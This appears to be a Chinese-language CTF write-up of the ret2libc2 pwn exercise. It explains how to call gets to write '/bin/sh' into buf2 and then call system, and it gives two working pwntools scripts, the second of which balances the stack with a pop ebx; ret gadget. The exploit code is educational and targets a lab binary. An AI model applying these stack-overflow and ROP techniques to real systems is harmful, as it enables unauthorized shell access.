retlibc 2

retlibc 2

分析

这道题和第一个ret2libc唯一的区别就是没有/bin/sh

从上一道题的知识可以构造出以下模板

image-20220304194941345

由于我们插入了一段gets,所以我们需要在发送完打入gets的payload后另外写入gets的内容

exp

from pwn import *

p = process('./ret2libc2')
elf = ELF('./ret2libc2')

sys_plt_addr = elf.plt["system"]
gets_plt_addr = elf.plt["gets"]
buf2_addr = elf.symbols["buf2"]

payload = b'A'*112 + p32(gets_plt_addr) + p32(sys_plt_addr) + p32(buf2_addr) +p32(buf2_addr)

p.recvuntil("?")
p.sendline(payload)
p.sendline(b"/bin/sh\x00")
p.interactive()

更通用的方法

下面介绍一种更加通用的方法,就是使用完函数的调用参数后清理栈空间保证栈平衡

这里选择pop ebx ; ret进行清理

将栈中的值清理到ebx寄存器中

image-20220304205533011

image-20220304205743768

exp2

from pwn import *

p = process('./ret2libc2')
elf = ELF('./ret2libc2')

sys_addr = elf.plt['system']
gets_plt_addr = elf.plt['gets']
buf2_addr = elf.symbols['buf2']
pop_ret_addr = 0x0804843d

payload = b'A'*112 + p32(gets_plt_addr) + p32(pop_ret_addr) + p32(buf2_addr)+ p32(sys_addr) + p32(pop_ret_addr) + p32(buf2_addr)

p.recvuntil('?')

p.sendline(payload)
p.sendline(b'/bin/sh')
p.interactive()

posted @ 2022-03-04 20:33  MuRKuo  阅读(112)  评论(0编辑  收藏  举报